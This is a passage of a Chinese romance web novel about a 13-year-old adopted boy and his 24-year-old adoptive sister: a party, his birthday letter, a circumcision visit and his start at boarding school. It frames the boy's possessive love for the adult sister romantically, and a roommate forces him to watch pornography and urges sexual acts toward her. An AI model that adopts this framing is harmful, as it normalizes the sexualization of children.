沈知逸察觉到立刻后退躲开，藏到黎娜身后，双手捂住脑袋，一脸警惕。
好险！
差点就被黎娜以外的人碰到了！
朋友尴尬收手。
黎娜笑着安慰：“我家这小孩儿性格比较内向……”
自从黎娜来了以后，气氛就热闹起来了，他们聚集在一起喝酒聊天，聊的都是沈知逸从来没有接触过的话题，比如今年去了国外哪个城市旅游，某品牌新出了一款限量腕表，那谁谁谁又买了一辆跑车被老妈冻结了银行卡……
而沈知逸连个说话的人都没有，被他们冷落在一旁。
沈知逸看着桌子上的酒，有点好奇是什么味道，偷偷回头看了眼黎娜他们正聊得热火朝天，完全没注意他这里。
他悄悄伸手去拿。
指尖刚碰到酒杯，温琳不知道从哪里突然冒出来闪到他面前，吓得他手一抖，赶紧收回来，若无其事地玩沙子。
温琳眼睛一眯，朝黎娜的方向大吼：“娜娜！你弟弟要喝酒！”
沈知逸：“！！！”
黎娜吼回来：“不许喝！喝酒长不高！那边是不是有椰子汁，给他椰子汁喝！”
朋友们哈哈大笑。
“喝酒长不高吗？我小时候就偷偷喝我爸酒了，那酒还挺贵的，我爸发现了差点把我打死！”
烤肉串的也跟着笑：“朋友们，第一批肉串烤好了，谁先吃！”
“小孩儿先吃吧！”
“对，小孩儿还要长个子，咱们又不长！”
黎娜问：“没放辣椒吧？”
烤肉串的说：“微微辣，就有个辣味儿。”
于是，备受哥哥姐姐们关爱的沈知逸，吃到了今天晚上的第一盘烤肉串。
心里说不上是什么滋味，他真的有那么小吗？不能喝酒，不能吃辣椒，不能加入他们的话题，被他们当成小孩看待吃第一盘烤串。
沈知逸垂下眸子，味如嚼蜡。
吃完烧烤，黎娜他们又开始玩游戏。
沈知逸看不懂他们玩的什么，但是看他们玩得特别开心，黎娜也很开心。平时跟他在家的时候，她从来没有笑得这么开心过。
直到黎娜游戏输了，要将桌上的酒全都喝完，这才笑不出来了。
刚才别人输的时候，她没少起哄，现在轮到她了，别人当然不会放过她。
“不许耍赖啊！”
“娜娜宝贝，你叫我一声哥哥，我帮你喝呀。”
“娜娜，叫我哥哥，我帮你喝两局！”
“我喝三局！”
越来越卷了。
有一个男人不紧不急地开口：“娜娜，你不用叫我哥哥，我帮你喝。”
黎娜深受感动：“你才是我的好朋友！”
男人点头：“把你那辆帕加尼借给我玩两天，我帮你喝。”
黎娜：“……”
她恶狠狠地剜了他一眼，拿起桌上的酒，一杯，两杯，三杯……
喝到第五杯的时候，忽然响起一道稚嫩清脆的声音，带着些许的哽意。
“能不能……别再让我姐姐喝酒了……”
声音是从黎娜身后传出来的，所有人都看过去，只见一个小男孩手足无措地站在那里，眼睛红红的，很是心疼地望着黎娜，又用一种充满乞求的眼神看着他们。
他的姐姐好可怜，被这么多人欺负。
温琳噗嗤笑出声，打趣黎
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娜。
“娜娜，你这弟弟可以呀，还知道心疼姐姐！”
黎娜输了游戏，烦得要死。
她看都没看沈知逸一眼，端起长辈的架子。
“小孩儿一边玩去，别过来捣乱！”
她语气很凶，沈知逸一时接受不了，小心翼翼伸出手拽她的裙子。
“姐姐……”
黎娜往后一躲，裙摆从他手中溜走。
她指着他落空的手，面无表情地看着他，酒劲有些上来了，情绪开始不受控制。
“我跟你说过了，别碰我裙子，再敢碰一下你试试？”
沈知逸脸色发白，不敢忤逆她。
黎娜拿起剩下的酒，一杯接着一杯，到后面都快站不稳了。
温琳看热闹不嫌事大：“娜娜，你悠着点，别把你弟弟弄哭了……”
黎娜没搭理她。
还剩下最后六杯，黎娜伸手去拿，视野里忽然出现了一只小手，把酒杯拿走了。
她视线顺着那个小手往上爬，最后落到了沈知逸脸上。
沈知逸没看她，仰头把酒倒进嘴里，表情一下子就不对劲了。他用手捂着喉咙，一副被烧到的样子，咳个不停。
黎娜人都傻了，爆了句粗口：“我靠！沈知逸你在干什么！”
她拉住沈知逸的后衣领，想把他拽回来，没想到他力气还挺大，拽都拽不动，看她把他养得多结实！
沈知逸单手扒住桌子，喝第二杯，第三杯……
还剩下最后一杯，沈知逸伸手去拿。
黎娜先他一步拿走了，正要倒进嘴里，沈知逸握住她的手腕，重新把酒杯拉回来，嘴对上去，迅速把酒吸进嘴里。
惩罚结束。
看戏的众人瞬间沸腾了。
“可以啊，小弟弟酒量不错嘛！”
“我靠，那酒我都不敢一口气喝六杯！”
“这小孩儿一看就是没碰过酒的，肯定醉了。”
黎娜吓得半死，赶紧捧起沈知逸的脸，手心被他发红的脸颊烫了一下，她认真打量着他。
“你醉了没有？”
沈知逸眼里有水，迷离不清：“我……我不知道，你别晃……”
黎娜低吼：“我没有晃啊！”
她现在比泰山还稳！
看来这小孩儿是真醉了。
沈知逸用脸蹭了蹭她的手心，垂下眸子，低声说：“我想回家。”
朋友听见了，立马递台阶过去：“娜娜，你先带你弟弟回去醒醒酒吧。”
黎娜叹了口气：“只能这样了。”
朋友们围上来跟黎娜拥抱道别。
“生日礼物别忘了带走。”
“她要扶小孩走路呢，恐怕不好拿，找两个人帮她拿到车上吧。”
两名男士自告奋勇，把收纳到大箱子里的礼物搬起来，跟在黎娜后面，温琳在旁边叽叽喳喳。
“娜娜，粉色包装纸的是我送给你的，你一定要第一个拆开看。”
黎娜说：“行。”
温琳看向沈知逸，有点好奇。
“你给你姐姐准备了什么礼物呀？”
沈知逸低着头，没说话。
黎娜说：“他送什么生日礼物，他才多大，不用送。”
21. 仰望神明
黎娜找代驾把车子开回家。
温琳目送他们离开，单脚撑在树上，眉心微皱。
她怎么总觉得……沈知逸这小孩不太对劲。
心疼黎娜受惩罚，替黎娜喝酒，喝醉后看黎娜的眼神……都很奇怪，说不上来的奇怪。
温琳掏出手机，飞速给黎娜发去一条信息：【你弟弟今年多大？】
黎娜：【十三岁吧。】
温琳：【哦。】
年纪这么小，应该不会吧，毕竟她十三岁的时候只知道看美少女战士。
黎娜：【怎么了？】
温琳：【没怎么，就是怕你弟弟这棵好白菜以后被猪拱了。】
黎娜：【……】
温琳：【你知道我说的猪是谁吧？】
黎娜：【是谁？】
温琳：【你呀！】
黎娜：【你瞎说什么，他是我弟弟好吧，无语了。】
温琳：【……】
黎娜：【我可是一个年纪比他大十一岁的老女人，你怎么把我们想到一块的，我靠，恶心死我了，我要吐了。】
温琳：【……】
黎娜：【你真龌龊。】
到家后，黎娜和代驾一起把生日礼物搬进家里。
沈知逸跟在黎娜屁股后面。
她走到哪，他就跟到哪。
这就导致有时候她猛地一回身，差点跟沈知逸来个对撞，她及时刹住脚，哑然失笑。
“你是跟屁虫啊？”
沈知逸喝酒上脸，直接从脸红到了脖子，眼睛有一种雨后的潮湿感，糅杂了小孩的天真和单纯，在看向黎娜的时候，黎娜竟不自觉移开目光，回避他的视线，就因为刚才温琳发来的那些信息。
“我记得家里有蜂蜜，你坐在沙发上等我一会。”
这个点，钟点工和营养师都不在。黎娜活了二十四年，这还是头一次伺候人。
她沏了一杯蜂蜜水。
沈知逸端正地坐在沙发上，一头凌乱的小卷毛，脸红红的，眼睛湿湿的，看上去特别乖巧，特别可怜，让人忍不住想狠狠地欺负他。
黎娜把蜂蜜水递过去。
沈知逸伸出双手去接。
黎娜却拿着蜂蜜水在空中转了弯，避开了他的手。
“你头还晕吧，我来喂你，别洒到衣服上了。”
沈知逸眼睛一亮，惊喜地点头，用嘴对上递过来的杯子，慢慢喝，试图让时间变慢一点。
黎娜加大倾斜幅度，想快点喂完。
杯子里的水越来越少，沈知逸吞咽得越发急促，蜂蜜水从他的嘴中溢出几滴，他接受不了这么快的流速，握住黎娜的手，把杯子抬起来一点，恢复了一开始的慢慢喝。
黎娜用拇指抹掉他下巴上的蜂蜜水，没什么耐心的样子，催促着：“快点喝，喝完我回去睡觉了。”
沈知逸“嗯”了一声，喝完最后一口，舔了舔嘴巴，心里特别满足。
黎娜放下杯子，转身回房。
沈知逸一直看着她的背影，直到她关上门。
昏暗的房子里响起一道很轻的声音。
“我真的……好喜欢好喜欢姐姐……”
早上起来，黎娜把箱子里的礼物全拆了。
地上堆着各种品牌的包装盒，被撕得稀巴烂，而里面的东西被她随手丢到沙发上。有一瓶法国香水滑到地上摔碎了，她看都没看一眼。
她打开温琳送的礼物，是一个浅蓝色的小海豚，嘴巴那里是凹进去的，长按开关，那个嘴巴就开始震动。
看不出是个什么玩意儿，黎娜找到说明书，整个人都石化了。
这竟然是……成人玩具。
她拿起手机给温琳发信息：
【你送的什么玩意儿！我要报警！跟警察叔叔说你性骚扰我！】
温琳：【人家怕你晚上寂寞嘛！这样我不在的时候，它就能抚慰你饥渴的身体了……】
黎娜：【我扔掉了，你再重新送我一个。】
温琳：【呜呜呜，你竟然扔掉人家的心意，人家不跟你好了！】
黎娜：【……我想扇你。】
钟点工走过来：“娜娜，地上这些盒子都不要了吗？”
黎娜点头。
钟点工说：“那我正好去卖纸板！”
她把包装盒都收进大箱子里，搬到玄关，路过厨房的时候，营养师端着早饭出来，看到箱子里有一封紫色的信，立刻吼了一嗓子。
“等一下！”
钟点工差点被她吓死。
她拿出那封信，走到黎娜跟前：“这不是小知逸写给你的信吗，你怎么扔了？”
黎娜懵圈：“沈知逸给我的信？他给我写信干什么？有什么话直接跟我说不就行了？”
营养师说：“那不是你要过生日了嘛，小家伙就写了封信给你当生日礼物。”
黎娜不可置信：“你怎么知道是他写的信？”
营养师说：“这信封是他跟我去超市的时候买的，我记得这个信封。”
黎娜接过营养师手里的信封，看着上面紫色的蝴蝶，心中有些异样。
营养师说：“这小家伙写信的时候可认真了，我想看，他都不给我看，说只能给姐姐看，诶呦！多乖的小孩儿啊。”
“他是挺乖的。”
黎娜拿着信起身，走回房间，关上门。
用拇指和食指轻轻摩挲着信封，有些厚度，黎娜心有余悸。
她还以为这封信是礼盒里掉出来的，一般就是感谢他们为这个品牌消费，没想到竟然是沈知逸写的，幸好让营养师看到了，不然就被扔掉了。
不知道为什么，黎娜忽然紧张起来了，手里的信似乎都变沉了，能不沉吗，那可是一个小孩的心意，这个世界上最为淳朴的珍贵物品。
信封口被一个小狗贴纸粘住了，黎娜极为小心地撕开，两根手指伸进去，夹住那封信拿出来，慢慢摊开：
在我很小的时候，妈妈说去给我买冰糖葫芦，但是我在街上等了她好几天，她都没有回来，她不要我了。
不过幸好，我遇到了姐姐。
姐姐是这个世界
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上对我最好的人，我最喜欢的就是姐姐。
姐姐长得很漂亮，很高，穿衣服也很好看，皮肤白白的，很爱干净，特别温柔，特别好，会给我好多好吃的，买衣服给我，关心我手上的冻疮，每天早上都要量我长高了没有……
我真的特别特别喜欢姐姐，要是没有姐姐，我不敢想象自己的生活是什么样子的，是姐姐让我有了家，让我知道有家人是什么感觉，我会永远喜欢姐姐。
祝姐姐生日快乐，永远平安，永远健康，永远开心。
黎娜认真看完这封信的每一个字，抬起头看着天花板，深吸口气，泪水在眼眶里晃动，她眼前一片模糊。
怪不得。
怪不得上次出学校，沈知逸不要吃冰糖葫芦，还不让她走。
她记得那天是想把沈知逸送回福利院的……
眼泪又开始往外涌了。
沈知逸不吃冰糖葫芦，是害怕再次被抛弃。
而那天，对于沈知逸来说，她们确实是想抛弃他的。
她都不敢想象，当时这孩子心里会有多难受。
黎娜心都要碎了。
在刚开始的时候，沈知逸对于她来说就像是一个宠物，用来浪费她无聊的人生。
后来领养沈知逸，也只是因为她心里很孤独，想着有个小孩在身边多少能给生活增加点趣味。
所以当黎母想把沈知逸送回去的时候，她心里没什么感觉，反正沈知逸走了，还有别人能来当她的弟弟，无所谓。
她从来没有把沈知逸放在心上过。
可是，在不知不觉间，她竟然成为了沈知逸的唯一。
黎娜忽然觉得自己挺卑鄙的，好像肆意玩弄了一个小男孩的真心。
那种感觉就像是吃完一个鸡腿，把没有肉的骨头丢给了一只流浪狗，她本来给的也不是什么好东西，却成为了那只流浪狗心里最重要的存在。
这封来自小狗的信，被黎娜用相框裱起来放进了抽屉里，那个用来装信的信封也一并好好保存着。
黎父给她的那些钱，她忽然不想私吞了。
她拿着那些钱，带沈知逸去冲浪挑战海洋，去雨林深处呼吸新鲜空气，在海拔四千六百多米的雪山上触碰云朵……他们看遍祖国大好河山，领略各地风土人情。
除此之外，黎娜就跟个时间管理大师一样，在时光的间隙里，找了各行各业的顶尖人才过来，看看沈知逸在某些行业是否有天赋。
这个很重要，关系到孩子将来的职业，不过很少有家庭会看中这些，因为试错成本太高，一般家庭负担不起，也因此埋没了孩子不为人知的天赋。
于是，沈知逸除了学习和旅游，还要发展其它的兴趣爱好。
滑雪，街舞，乐器，绘画……
最后乐器老师对沈知逸评价不错，沈知逸也最喜欢乐器。
记得沈知逸第一次来她家，触碰的第一个东西就是钢琴，黎娜决定着重培养他的音乐天赋。
就这样，两个月很快过去。
学校通知黎娜带沈知逸过来考试。
22. 仰望神明
当天早上，黎娜用尺子压住沈知逸的小卷毛，直接把他给压矮了五公分。
沈知逸想把这五公分填上，偷偷踮起脚尖，结果被黎娜按住脑袋，给硬生生地按回去了。
“一米四三，比刚来的时候长高了四公分。”
沈知逸很郁闷：“才四公分……”
“那你想长多少？一下子长到一米九？”
沈知逸看着她：“你觉得我能长到多高，会不会长到你这么高就突然不长了？”
想到这，沈知逸陷入焦虑。
黎娜笑了：“长我这么高怎么了？我很矮吗？就算你只能长到一米七六，再穿个增高鞋不就行了。”
沈知逸摇头：“我要纯天然的高，不要增高鞋。”
“那你想长多高？”
沈知逸垂下眸子，小声嘟囔着：“至少要比你高一个头……”
黎娜挑眉，拍了拍他的肩膀。
“可以，有志气！”
今天要去学校考试。
沈知逸在家里考过很多模拟，每门学科能维持在六十分以上，他基础太差，以前从来没上过学，这半年都是从拼音表和乘法口诀开始学起的。
到学校，黎娜揉了揉他的脑袋，目光温柔又坚定地看着他。
“沈知逸，你是最棒的。”
沈知逸害羞地低下头，细弱蚊蝇地“嗯”了一声。
黎娜抿唇憋笑。
这次考试，不像之前那样跟看天书一样，简单的基础题沈知逸都会做，到后面大题比较吃力，不过也能拿个几分。
考试结果很快出来，沈知逸通过了。
他很惊喜。
黎娜没什么反应，意料之中。
下午沈知逸去做入学体检。
黎娜在办公室给他办理入学手续。
女老师问：“住宿还是走读？”
黎娜说：“住宿。”
于是，沈知逸就被办理了住宿。
体检完，医务室老师将沈知逸领回来，把体检报告递给黎娜，做简单总结：“小孩身体很健康。”
黎娜点头。
沈知逸站在角落里，低着头，一会抠抠自己的手指头，一会抬头看看黎娜和老师。他张着嘴巴似乎想说什么话，犹犹豫豫的最后还是闭上了嘴，低下头。
医务室老师同为男人，能理解沈知逸的难为情。他扶了下眼镜，轻咳一声，用公事公办的语气开口：“刚才体检的时候，有几个男孩子跟沈知逸一起，他们已经进入青春期了，长得跟沈知逸不太一样了，沈知逸应该也发现了……”
沈知逸脑袋低得不能再低了，小卷毛几乎挡住了整张脸。
黎娜和女老师皱着眉头，心里疑惑他到底要说什么。
医务老师发现黎娜正在看他，一下子就紧张起来了，他撇开脸看向别处，侧脸微红，语速极快。
“我就是怕这小孩不好意思跟大人开口，所以想提前跟你说一下，免得进入青春期影响正常发育了。”
黎娜耐心消耗殆尽：“你快说吧！”
医务老师咽了口吐沫：“沈知逸现在还没有进入青春期，最好带他去割……割个包/皮，他的有点长了，这个越早割越好。”
终于说出来了！
医务老师在心里为自己鼓掌！
而沈知逸已经背过身去了，正在“面壁思过”。
黎娜目瞪口呆。
割包/皮？
好小众的词汇！
女老师哈哈大笑两声，似乎想缓解一下此刻的尴尬气氛。
“嗐！不就是包/皮嘛！哪个人没有呢！”
“啊……不是，是哪个男人没有呢！哈哈哈哈哈哈……”
气氛更尴尬了。
女老师闭嘴，假装自己很忙。
黎娜站起身来，轻吸口气，坦坦荡荡地看向医务老师。
“谢谢你跟我说这些，明天我就带他去医院割掉，真的特别感谢你。”
听到“割掉”这个词，正在“面壁思过”的沈知逸浑身剧烈一颤。
医务老师害羞挠头：“应该的！”
事情都办好了。
黎娜带着沈知逸离开学校。
沈知逸低着头，跟在黎娜身后，沉默地拉开车门上车，看着窗外那些成年男人。
原来个子高不代表就是大人了，要那里……长得很大才行。
可是那里为什么要长大呢，长大了是有什么别的用处吗？
沈知逸不明白。
黎娜从后视镜里看他一眼：“那我们明天上午去医院吧。”
沈知逸脸红红的：“好……”
黎娜跳过这个话题：“我给你办理了住宿，到时候开学你就直接住到学校里，行李我找人给你弄过去，你每个双休日可以回家一趟，不想回来可以不回。”
沈知逸扭头看向她：“住宿？我不要办理住宿，我要住在家里，我想跟你待在一起……”
黎娜抿唇：“不行，我已经给你办好了，你就住在学校里。”
沈知逸眼睫低垂，神情落寞。
黎娜说：“你应该跟同龄人待在一起，不能总跟着我，你要在你们这个年龄的圈子里才行。”
沈知逸闷声嘟囔着：“我不想跟别人待在一起，我就想跟着你……”
这小孩过于依赖她了。
难不成以后他结婚了，还得让她搬过去跟他们小两口一起住？
这可不行。
黎娜更加坚定了决心：“你不可能一辈子都跟着我的，我也不可能管你一辈子，像你这个年纪的小孩，在当今这个社会已经非常独立了，你不可能当一辈子的小孩。”
沈知逸抠着手指头，抠得特别用力，血珠都开始往外滚。
不能一辈子都跟着她吗？
谁规定的？
黎娜是属于他一个人的。
他也只属于黎娜。
他永远都不会背叛黎娜。
黎娜也不能背叛他。
到第二天上午，黎娜带着沈知逸来到医院。
黎娜笑得特别坏：“诶，给你割包/皮的会不会是一个大美女呀？”
沈知逸被吓到：“啊？”
黎娜双手合十，闭上眼睛：“我要为你祈祷，让大美女给你割，你小子真有福气！”
沈知逸：“……”
这家医院是私立的，人很少，不用排队，过去就有专业医护团队的一条龙服务，特别省心省事。
黎娜就看着沈知逸被他们传来传去，然后推进了手术室里。
她坐在沙发上玩手机。
时间临近中午，工作人员送来可口的小点心和茶水。
黎娜看了眼时间，沈知逸已经进去二十多分钟了。
她昨天晚上查过，这个手术很快的，一般十分钟以内就结束了。
医生从手术室里出来，摘下口罩，看向黎娜。
“你是沈
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知逸的家长吗？”
黎娜起身：“我是他姐姐。”
医生说：“沈知逸这边出了点状况，麻烦你跟我进去安抚一下他的情绪。”
黎娜震惊：“要我进去吗！我是女的啊，我能进去吗！”
医生微笑：“可以进去，站在外面就行了。”
他带着黎娜走进手术室。
黎娜有些不安：“他到底怎么了，没事吧？”
医生说：“事倒是没事，就是他不让我们碰他，你明白吗？就是我们一要碰他，他就拿手捂着裤/裆，不让我们碰，他都不相信我们。”
黎娜：“……”
吓死了，还以为医生不小心把那个东西割掉了！
医生说：“本来这就是小手术，五分钟就能结束了，可是他一直不让我们碰，我们就不停地安抚他，帮他做心理建设，然后我们问他能做了吗，他说能，结果我们要碰他的时候，他又用手捂住裤/裆了……”
黎娜本来还忧心忡忡的，在听完医生这番话后直接笑出了声。
医生头都大了：“他平时在家里也这样吗？胆子小，容易紧张吗？”
黎娜点头：“是的，他童年经历不太好，造成了一些性格问题，以后我会努力引导他的。”
进入手术室，黎娜立刻背过身去，捂住眼睛。
医生拿了双一次性拖鞋给她：“没关系的，有帘子隔着的，你在帘子外面跟他说几句话就行，主要是安抚一下他的情绪。”
黎娜换上拖鞋，听到帘子里面传出一阵粗重急促的呼吸声，不像是正常人能发出来的，那就像是一个缺氧太久的人要死了，正在拼命地用力呼吸，想不到沈知逸竟然会紧张成这样。
医生喊道：“沈知逸，你姐姐来了，别害怕啊。”
说完又看向黎娜：“跟他说几句话吧，安抚一下他的情绪。”
黎娜抓耳挠腮：“不是……我要说点什么啊？我不知道说什么。”
医生钻进帘子里：“什么都行，让他听听你的声音。”
手术室里安静下来了，沈知逸也不再用力呼吸，所有人都沉默着，等黎娜开口。
黎娜又想笑又觉得很尴尬，咳了一声说：“小知逸，你不要害怕，姐姐在这里陪着你，你乖乖听医生的话哦。”
帘子内，医生再次问沈知逸：“那我们可以开始了吗？”
沈知逸脸色发白：“可以……”
姐姐在帘子外面，他不能这么丢人。
医生们用五分钟完成了手术。
手术时间拉得越长，术后越不好恢复，疼痛感也会更加强烈，医生让沈知逸坐在床上缓二十分钟再起来，叫黎娜去外面等了。
沈知逸从手术室里出来的时候，走路姿势极其诡异。
他用手扶着墙，两腿岔开，中间仿佛夹了一个大气球，跟企鹅似的小步往前走，每走一步都要缓一会。
好不容易走到黎娜面前，黎娜憋笑憋得脸都红了，拍拍身旁的位置：“坐下来休息会。”
沈知逸心情很郁闷：“我站着吧，动一下就会蹭到裤子，很痛……”
黎娜用力压住嘴角。
沈知逸嘟囔着：“真的好痛，我都不敢穿内裤，会被蹭到……”
黎娜瞪大眼睛：“那你内裤呢？留在手术室里了？”
沈知逸从口袋掏出一小块布料，拿到黎娜面前。
“我放到口袋里了。”
黎娜：“……”
23. 仰望神明
在离开医院的路上，沈知逸走得奇慢无比，怪异的走路姿势引来了行人们的纷纷侧目。
黎娜不得不放慢脚步，扶着他的胳膊，用尽全力憋笑。
“你为什么不让医生碰你啊？你连医生都不相信吗？”
沈知逸动作缓慢，如同四肢僵硬的机器人。
“我怕他给我弄坏了……”
黎娜哑然失笑：“你想太多了吧，怎么可能给你弄坏啊，人家是医生诶，专业弄这个的。”
沈知逸心有余悸，一脸严肃地说：“万一弄坏了呢，要是弄坏了，我就长不成大人了。”
黎娜愣了一愣，这不是第一次听到沈知逸说想长成大人了。
她不太能理解这个小孩儿为什么对长大的执念如此之深。但回想一下，她小时候也是特别渴望长成大人的。
她摸了摸沈知逸的脑袋，目光慈爱地看着他。
“等你将来长成大人了，就会觉得还是当小孩儿好。”
沈知逸低下脑袋，眸光黯淡。
他永远都不会觉得当小孩好。
自从做完了这个手术，沈知逸上厕所的时间变得极其漫长，而且在家里还要用手提着裤子走路，生怕伤口被蹭到。
营养师和钟点工看到他这样，每次都忍不住背过身去，捂着嘴偷偷笑他。
沈知逸羞得脸红脖子粗。
钟点工提议：“知逸呀，要不让你姐姐给你买条裙子穿吧，这样你就不用穿裤子了，也蹭不到伤口了，多好呀！”
沈知逸吼道：“不行！我不要穿裙子！绝对不穿！”
宁愿痛死，也绝对不穿裙子！
此时，黎娜从楼梯上走下来，手里拿着一条小裙子，笑嘻嘻地看向钟点工。
“姐，咱俩想一块去了，我也是想让他穿条裙子。”
沈知逸看到她手里的裙子，眼睛都瞪大了，又恐惧又震惊。
“姐姐，我不要穿裙子……”
黎娜笑得很温柔：“就在家里穿，又没人看见。”
沈知逸往后退：“你会看见啊……”
黎娜说：“我看见又没事，我是你姐。”
沈知逸欲哭无泪。
就是因为你是姐姐，所以才不能让你看到啊！
别人看到都没有关系，他都不在意，但是姐姐看到就不行！
最终，沈知逸还是穿上了这条裙子，并且被黎娜逼迫做出各种可爱的姿势，拍了很多张照片留作纪念。
沈知逸蹲在角落里，抱住自己的双腿，自闭画圈圈。
他拿他的姐姐真是一点办法都没有。
到开学那天，沈知逸恢复得差不多了，可以用正常的姿势和速度走路了。
黎娜没有送他去学校。
要搬很多行李，她又搬不动，去了也没用，而且现在天气太热了，于是就找了她爸的司机送沈知逸去学校，还能帮他把行李搬上宿舍。
进入学校之后，沈知逸不知道该往哪里走，只能跟在司机叔叔的身后。
司机推着两个行李箱，看着眼前的校园，心中充满了怀念。
“这是你姐姐以前上的学校，那时候都是我接她上下学的，一晃眼，你姐姐都长成大姑娘了，时间过得真快啊……”
沈知逸开始认真看这个学校。
路过一棵树，他就想姐姐是不是也看到过这棵树。
走到一条铺满鹅卵石的小路，他就想姐姐是不是也走过这条小路。
想到这是姐姐以前的学校，一草一木都似乎带上了姐姐的气息，对姐姐的思念也稍微缓解了一些。
司机回忆着：“你姐姐小时候就长得特别漂亮，个子也高，我每次来接送她的时候，她身边总会跟着一群小男孩，特别受欢迎。”
沈知逸呼吸一滞，焦急追问：“有很多小男孩跟着姐姐吗？姐姐有喜欢的男孩吗？”
司机说：“这我就不知道了，不过……肯定有吧，谁还没有情窦初开的时候。”
沈知逸心如死灰。
司机摸摸他的脑袋。
“小知逸，你以后也会有喜欢的人的。”
沈知逸擦了下眼睛，摇摇头说：“我不会喜欢别人的，我只喜欢姐姐。”
司机愣住，随即大笑起来：“那你要跟你姐姐一辈子啊？等你姐姐嫁人了，你也陪嫁过去？”
“姐姐……嫁人？”
沈知逸要碎掉了。
司机点头：“对啊，你姐姐今年二十四了吧，该谈男朋友了，谈到二十七八岁正好结婚，嘿嘿，到时候我还可以送她家的小孩儿去上学。”
沈知逸眼眶泛红，慌乱低头，压下喉咙中的哽咽，轻轻地“嗯”了一声，不再说话了。
到宿舍楼，司机把行李都搬上去。
沈知逸想帮忙，司机拒绝了，并提着行李箱跑得飞快，还帮他把衣服和生活用品放到柜子里。
这个宿舍是二人间，有两张床和书桌，客厅卫生间是共用的，有一扇落地窗，采光很好，家具以木质材料为主，暖色调显得很温馨。
司机在宿舍里转了一圈：“现在这小孩儿宿舍环境真好啊，我们以前哪有这个条件，要六七个人挤在一间里，还没有这个大。”
沈知逸从背包里拿出笔记本电脑，平板和手机。这些东西都是黎娜在开学前买给他的，笔记本电脑上课用，平板学习用，手机是用来联系姐姐的。
他给黎娜拍了张宿舍的照片，发过去一条信息：【姐姐，我到宿舍了。】
黎娜很快回复：【好。】
沈知逸盯着这个“好”字看了半天，黎娜没有再发新的消息过来，他默默把手机放回去，目光失焦地看着窗外。
司机去卫生间洗了把脸：“知逸啊，要是没事我就先回去了啊，你在学校好好学习！”
沈知逸点头：“好，谢谢叔叔。”
司机离开了。
又有人进来，这次有轮子滚动的声音，应该是行李箱，另一个舍友过来了。
沈知逸用余光偷看。
那个男生比沈知逸高出不少，推着一个超大号的黑色行李箱，只有他一个人，没有大人帮忙。他的白衬衫被汗水浸湿了，黑色的束脚运动裤看上去很闷热。
看清这个男生的脸，沈知逸瞳孔微微收缩了一下，站起身来，面对着他的方向。
男生也看到沈知逸，有些诧异，随即扬起笑容打招呼。
“真巧，没想到会在这里碰到你。”
是上次在福利院把沈知逸锁进厕所里的男生，叫陈研。
沈知逸收回目光，淡淡地说了句：“你好。”
然后就继续望着远方，思念姐姐去了。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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陈研也没有多说话，在柜子里摆放好自己的物品，然后坐到床上，拿出笔记本电脑，打开，屏幕一亮，里面传出一阵很奇怪的声音。
陈研耳朵一红，想关掉已经来不及了，沈知逸不知道什么时候已经坐到了他的旁边，他一转头，就对上了沈知逸那双清澈单纯的眼睛。
沈知逸问：“你在看什么？”
他一边问，一边看向电脑屏幕。
只见里面男女紧密拥吻，纠缠在一起，男人和女人的表情都很不对劲。
沈知逸立刻用手捂住眼睛。
之前他和黎娜一起看过电影，里面会有男女接吻的场景，每到那个部分，黎娜就会捂住他的眼睛，而黎娜却看得津津有味。
现在黎娜不在，沈知逸只能自己用手捂了。
陈研翻了个白眼，拽掉沈知逸的手，直接把他脑袋按到电脑屏幕前，让他看个清楚。
“好看吗？”陈研问。
沈知逸惊愕地瞪大了双眼，嘴唇微张。
“你是不是……很想对你姐姐这样？”
陈研在他耳边笑着说。
沈知逸大脑里一片空白，看着屏幕里的东西，虽然不知道他们在干什么，但是这项运动早已刻进了人类的DNA里，他已经隐约意识到了什么，却完全不能接受。
他喉咙发紧：“我……我不想，姐姐可能会很不舒服，而且我感觉姐姐不喜欢我这样对她，很恶心……”
陈研把声音调低：“做这种事情很舒服的，女人都喜欢，而且你不对你姐姐做这种事情，也会有别的男人这样对她。”
沈知逸一惊，不能想象别的男人对姐姐做这种事情。
如果是别的男人，那还是……让他来对姐姐做这种事情吧，就算姐姐会因此不喜欢他，讨厌他，他也不要别的男人对姐姐做这种事情。
影片结束，陈研合上电脑，看向沈知逸。
“你喜欢你姐姐？”
沈知逸沉默几秒，不答反问：“你为什么会这么想？”
陈研说：“直觉。”
这么明显吗，竟然能被陈研感觉到，那姐姐是不是也能……
沈知逸感到恐惧，很害怕被姐姐发现，但如果不能被姐姐发现，就要一直藏在心里。
他低着头，焦虑地抠着手指头，不知道该怎么办才好。
陈研说：“你们不能在一起。”
沈知逸眼睛微红：“为什么不能？”
“因为你们在一个户口本上，是姐弟关系，不能在一起的。如果要在一起，你必须离开你现在的家庭。”
沈知逸如同被人当头泼了一盆冷水。
要跟姐姐在一起，就要离开姐姐，可是他现在离开姐姐就只能回去捡垃圾了。以前一直都在捡垃圾觉得没什么，像个井底之蛙一样，不知道外面的世界。现在他不能回去捡垃圾了，他要好好学习，变成一个优秀的人，这样才能配得上姐姐。
沈知逸苦笑着：“等我长大就好了，我就能离开姐姐，和姐姐在一起了。”
陈研冷漠地问：“你姐姐多大？”
“二十四岁。”
“等你成年，你姐姐都多大了，她不会等你的。”
沈知逸轻声说：“不会的。”
他会一直守着姐姐，把姐姐看管好，不让别人接近姐姐。
24. 仰望神明
家里有空房间，之前一直用来堆放杂物，黎娜叫钟点工全部清空，由她亲自把那块尘封已久的画板搬进去放好，调到一个合适的高度。
钟点工看她坐在板凳上，拿着画笔在空中比划，有模有样的。
“娜娜，你还会画画呀。”
黎娜抚摸着画板上的颜料渍：“小时候学过一段时间，后来去国外念书，念的是有关于艺术的专业，需要用绘画表达。”
钟点工夸赞：“真厉害，去国外念书要花不少钱吧？”
黎娜说：“不记得了，反正没钱了就找我爸要，没算过一共花了多少钱。”
钟点工心里多少有点不平衡了。
整个上午，黎娜都泡在房间里画画，确实生疏了不少，光是人物的框架就打了一个多小时，最后还很不满意，就撕掉扔进垃圾桶里了。
最可怕的是，她脑袋里空荡荡的，完全不知道该画什么，在整个过程中都没什么耐心，总会有别的事情冒出来分散她的注意力。
黎娜收好画笔，换了身衣服，去米其林餐厅吃饭。
有主厨专门为她服务，蔬菜是当天采摘下来的，肉类上一秒还在水池里活蹦乱跳，下一秒就被主厨处理干净，摆放到黎娜面前。
盘子比她脸还大，但食物只有中间的一点点，一口就能全部吃掉，口感层次极为丰富，香味浓郁，视觉与味觉双重享受。
最后以甜品收尾，黎娜将吃了一半的海盐慕斯拍了张照片，发送给沈知逸。
黎娜：【你中午吃的什么？】
